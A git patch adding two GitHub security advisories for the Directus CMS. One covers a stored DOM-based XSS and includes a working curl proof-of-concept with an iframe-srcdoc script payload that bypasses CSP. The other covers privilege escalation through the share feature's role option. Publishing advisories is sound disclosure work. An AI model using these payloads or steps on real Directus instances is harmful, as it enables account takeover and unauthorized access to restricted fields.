From 7e9354f13a97984ef06acc7a329a3a186fc1b1ac Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 23 Jan 2025 22:37:15 +0000
Subject: [PATCH] Publish Advisories

GHSA-9qrm-48qf-r2rw
GHSA-pmf4-v838-29hg
---
 .../GHSA-9qrm-48qf-r2rw.json                  | 53 +++++++++++++
 .../GHSA-pmf4-v838-29hg.json                  | 77 +++++++++++++++++++
 2 files changed, 130 insertions(+)
 create mode 100644 advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json
 create mode 100644 advisories/github-reviewed/2025/01/GHSA-pmf4-v838-29hg/GHSA-pmf4-v838-29hg.json

diff --git a/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json b/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json
new file mode 100644
index 00000000000..f3cbfa069a9
--- /dev/null
+++ b/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json
@@ -0,0 +1,53 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-9qrm-48qf-r2rw",
+  "modified": "2025-01-23T22:36:50Z",
+  "published": "2025-01-23T22:36:50Z",
+  "aliases": [],
+  "summary": "Directus has a DOM-Based cross-site scripting (XSS) via layout_options",
+  "details": "### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n    -c \"${root_dir}/static/attacker_directus_session_token\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n  curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"<iframe srcdoc=\\\\\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\\\\\">\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\\\"<script src='URL_MALICIOUS_FILE'> </script>\\\">`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.\n",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "directus"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "11.3.3"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/directus/directus"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [],
+    "severity": "LOW",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-01-23T22:36:50Z",
+    "nvd_published_at": null
+  }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/01/GHSA-pmf4-v838-29hg/GHSA-pmf4-v838-29hg.json b/advisories/github-reviewed/2025/01/GHSA-pmf4-v838-29hg/GHSA-pmf4-v838-29hg.json
new file mode 100644
index 00000000000..8bb554c8485
--- /dev/null
+++ b/advisories/github-reviewed/2025/01/GHSA-pmf4-v838-29hg/GHSA-pmf4-v838-29hg.json
@@ -0,0 +1,77 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-pmf4-v838-29hg",
+  "modified": "2025-01-23T22:35:52Z",
+  "published": "2025-01-23T22:35:52Z",
+  "aliases": [
+    "CVE-2025-24353"
+  ],
+  "summary": "Directus allows privilege escalation using Share feature",
+  "details": "### Summary\nWhen sharing an item, user can specify an arbitrary role. It allows user to use a higher-privileged role to see fields that otherwise the user should not be able to see.\n\n### Details\nSpecifying `role` on share should be available only for admins. The current flow has a security flaw.\n\nEach other role should allow to share only in the context of the same role. As there is no role hierarchy in Directus, it is impossible to tell which role is _higher_ or _lower_, so only admins should be able to specify the role for share.\n\nOptionally, instead of specifying a role, shareer* should be able to specify which fields (limited to fields shareer sees) are available on shared item. Similarily to import.\n\n*_shareer_ - a person that creates a share link to item\n\n### PoC\n1. Create a collection with a secret field. \n2. Create role A that sees the secret field\n3. Create role B that does not see the secret field, but can use share feature.\n4. Create item with secret field filled. \n5. Use account with role B to share the object as role A and gain unauthorized access to secret value.\n\nHere's video example: https://www.youtube.com/watch?v=DbV4IxbWzN4\nI had to upload it to YouTube, because GitHub allows only 10MB videos.\n\n### Impact\nImpacted are instances that use the share feature and have specific roles hierarchy and fields that are not visible for certain roles.\n",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "directus"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "11.2.0"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/directus/directus/security/advisories/GHSA-pmf4-v838-29hg"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24353"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/directus/directus/pull/23716"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/directus/directus/commit/e288a43a79613dada905da683f4919c6965ac804"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/directus/directus"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/directus/directus/releases/tag/v11.2.0"
+    },
+    {
+      "type": "WEB",
+      "url": "https://www.youtube.com/watch?v=DbV4IxbWzN4"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-269"
+    ],
+    "severity": "MODERATE",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-01-23T22:35:52Z",
+    "nvd_published_at": "2025-01-23T18:15:33Z"
+  }
+}
\ No newline at end of file